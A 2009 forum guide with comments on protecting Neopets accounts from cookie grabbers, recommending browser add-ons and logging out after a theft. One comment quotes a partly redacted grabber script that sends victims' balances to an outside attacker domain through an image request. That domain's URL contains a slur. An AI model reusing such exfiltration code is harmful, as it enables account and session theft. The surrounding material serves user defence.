Protecting against Neopets Cookie Grabber (CGer) Guide

Submitted by saudor on Sun, 17/05/2009 - 8:13am

Welcome to the in-depth guide to avoiding cookie grabbers. This page has been generated from background information of how it works, reverse engineering of various neo CGs and 1st hand research. (plus losing 800k + trades along the way, but hey, it's priceless!!)

[SHORT VERSION]

For the in-depth version, please see http://www.neopets.com/~punchback_bob
Remember that Internet Explorer is vulnerable to on-site cookie grabbers (on neopets)
Opera users should use the userjs file called BlockScript. It's sorta complicated but it's here

Get firefox here: http://www.mozilla.com/en-US/firefox/firefox.html?from=getfirefox

Recommended Firefox Add-ons
"NOSCRIPT" This helps block malicious scripts from running. 
Don't forget to whitelist neopets.com and any other sites that you trust (like hotmail.com) (see attachment)

FLASHBLOCK This allows you to selectively load adobe flash player objects. If you need flash to play games, simply click the arrow to enable that object. This is allowed since most browsers don't even come with flash. Do not whitelist neopets as one type of CG uses a redirection of http://images.neopets.com/flash_version_check_v1.swf? to steal cookies.

KEYSCRAMBLER ADD-ON. For protection against key loggers (programs that record everything you type) It's no use changing your password if every key you press is being sent to the "hacker"

ADBLOCK. It allows you to block ads... and other things (like CGs) See attachment for more info

REQUESTPOLICY. RequestPolicy is an extension that improves the privacy and security of your browsing by giving you control over when cross-site requests are allowed by webpages you visit.

 

Think you got CG'd?

If you THINK you were CG'd, the first you should do is LOG OUT. Why? Because this invalidates the cookie that the "idiot" took. Try it yourself. Log into neo in another browser. You will see that you can browse neopets for a bit on both web browsers. Now click the log out button of one browser and see what happens. Contrary to popular belief, clearing cookies will do nothing for you. Just log out, get the keyscrambler add-on (if you can get it), and then log back in and THEN change your password

 

AttachmentSize
Image icon whitelist-neopets.gif74.73 KB
Image icon ablock-instructions.gif43.8 KB
Forums: 
Neopets Misc
  • 230763 reads

I was just wondering if the same problem occurs when you use Safari or Chrome? (BTW, I followed the instructions for FF and now I don't see any ads on the page-gotta love ya!) Is that allowed?
http://www.neopets.com/browseshop.phtml?owner=atlantissix
six | Tue, 30/06/2009 - 9:17am |

Thats fine. Also, adblock the following URL: http://kafir.arabs.ps This is the location of the neopets CGer that is currently going around. I'm sure they'll change the domain soon though. [code]function logShit(onhand, bank) { document.getElementsByTagName('img')[0].src="http://kafir.arabs.ps/dongs/shitbin/lol.php?jews="+ ******* code removed******* "); } getVictimNP(); getVictimBankNP(); [/code] And as I expected, pins are useless.
----------------------------- [color=purple]Protect your account[/color] http://www.neopets.com/~punchback_bob CG information & more
saudor | Tue, 30/06/2009 - 1:13pm |

The kid even made the CGer so that it will send your on-hand NP amount (as well as how much you have in the bank) This is probably to skip poor people since i bet tons and tons of newbies get CGed
----------------------------- [color=purple]Protect your account[/color] http://www.neopets.com/~punchback_bob CG information & more
saudor | Tue, 30/06/2009 - 1:36pm |

guess I am glad for now most is left in my till, but I am sure that will be marked next *unsure*
perpette | Tue, 30/06/2009 - 1:44pm |

Yeah probably but from the looks of it, noscript+flashblock combo WILL work. However, it may not work if you get CGed offsite since those can use php and there's no extensions to block php so be careful of what you click. Especially those "omg Tarla is here!" boards
----------------------------- [color=purple]Protect your account[/color] http://www.neopets.com/~punchback_bob CG information & more
saudor | Tue, 30/06/2009 - 2:02pm |

He got one of the girls in my guild Sunday. And you are right - he took her nps on hand and her bank account and it was through trades instead of his shop. She is now frozen and trying to get her account back and one of my friends also got CG'd the same way - she got her account back but not her nps and she was a multi-millionaire. So just be careful out there and if it looks too good to be true it usually is. I have never really restocked out of the neopian shops - I do not have the patience for it but I am sure going to have to learn to deal with it - the wiz and trades are just getting too scary. The unfortunate part of all this is that it is making it awful tough on all of us honest people on here and our shops are taking a beating because of it. My shop is how I make the majority of my nps and my hits and sales have dropped drastically since this was publicized I believe on the 25th.
lastcountryangel | Tue, 30/06/2009 - 3:01pm |

ahh i hadnt considered that as a reason for my my sales have been quite slow today and lol at the word shit being in there all over the place, does tnt seriously not filter that word in shops? :O
___________ Kirsty aka "the sensitive one" Silverdragon siggy stealer Tasty tent seller
kirsty_to_stay | Tue, 30/06/2009 - 4:40pm |

I had the same thought *unsure* or at least dong LOL
perpette | Tue, 30/06/2009 - 6:12pm |

I just got FF :D Thanks for the link to the download. .:| Luck |:. http://www.neopets.com/browseshop.phtml?owner=heartlessness_&banner
heartlessness_ | Tue, 30/06/2009 - 6:30pm |

[quote=lastcountryangel]He got one of the girls in my guild Sunday. And you are right - he took her nps on hand and her bank account and it was through trades instead of his shop. She is now frozen and trying to get her account back and one of my friends also got CG'd the same way - she got her account back but not her nps and she was a multi-millionaire. So just be careful out there and if it looks too good to be true it usually is. I have never really restocked out of the neopian shops - I do not have the patience for it but I am sure going to have to learn to deal with it - the wiz and trades are just getting too scary. The unfortunate part of all this is that it is making it awful tough on all of us honest people on here and our shops are taking a beating because of it. My shop is how I make the majority of my nps and my hits and sales have dropped drastically since this was publicized I believe on the 25th.[/quote] WOW. There's probably a link between why neopets had to take down the website yesterday. Might be because they are trying to fix this cgers issue. I hope they find a solution on all of these kind of commotion before its too late.
WOW! Selling: Maps, Neggs, Stamps, Coins, Cards, ETC! http://www.neopets.com/browseshop.phtml?owner=1434sweet#p
1434neopets | Tue, 30/06/2009 - 7:46pm |

Pages